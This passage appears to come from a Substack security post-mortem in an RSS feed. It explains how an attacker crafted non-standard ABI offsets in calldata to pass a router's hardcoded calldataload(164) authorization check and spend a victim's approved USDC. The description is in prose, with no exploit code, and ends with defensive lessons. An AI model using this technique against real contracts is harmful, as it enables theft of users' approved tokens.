srcset="https://substackcdn.com/image/fetch/$s_!5Mau!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 424w, https://substackcdn.com/image/fetch/$s_!5Mau!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 848w, https://substackcdn.com/image/fetch/$s_!5Mau!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 1272w, https://substackcdn.com/image/fetch/$s_!5Mau!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This <code>abi.decode</code> correctly follows the offset pointer and reads <code>BaseData</code> from wherever <code>data</code> actually points - which, in the attacker&#8217;s crafted calldata, is at a <strong>different location</strong> than position 164.</p><h3><strong>Attack Flow</strong></h3><p>The attacker constructs calldata for <code>swap(bytes,uint256)</code> with a non-standard offset for the <code>bytes data</code> parameter:</p><ol><li><p><strong>Position 164</strong>: Contains the <strong>attacker&#8217;s own address</strong> &#8594; passes the <code>calldataload(164) == caller()</code> assembly check.</p></li><li><p><strong>Actual </strong><code>bytes data</code>: Located at a different offset, contains a <code>BaseData</code> struct with <code>payer</code> set to the <strong>victim&#8217;s address</strong>.</p></li></ol><p>When the swap executes, the victim&#8217;s tokens are used for the input settlement. Since the victim had previously approved the router contract for USDC spending, the router successfully transfers USDC from the victim to complete the swap, sending the output tokens to the attacker&#8217;s chosen receiver. </p><h2><strong>Conclusion</strong></h2><p>This exploit demonstrates the danger of using hardcoded calldata offsets in inline assembly for authorization checks. The EVM&#8217;s ABI encoding is more flexible than developers often assume - dynamic types like <code>bytes</code> can have their data placed at arbitrary offsets, and the Solidity ABI decoder does not enforce strict encoding mode. Any security check that relies on a fixed calldata position will fail when confronted with non-standard but perfectly valid ABI encoding.</p><p>Furthermore, conducting a security audit is strongly recommended for all projects, even though they are smart contracts, backends, wallets, or dapps.</p>]]></content:encoded></item></channel></rss>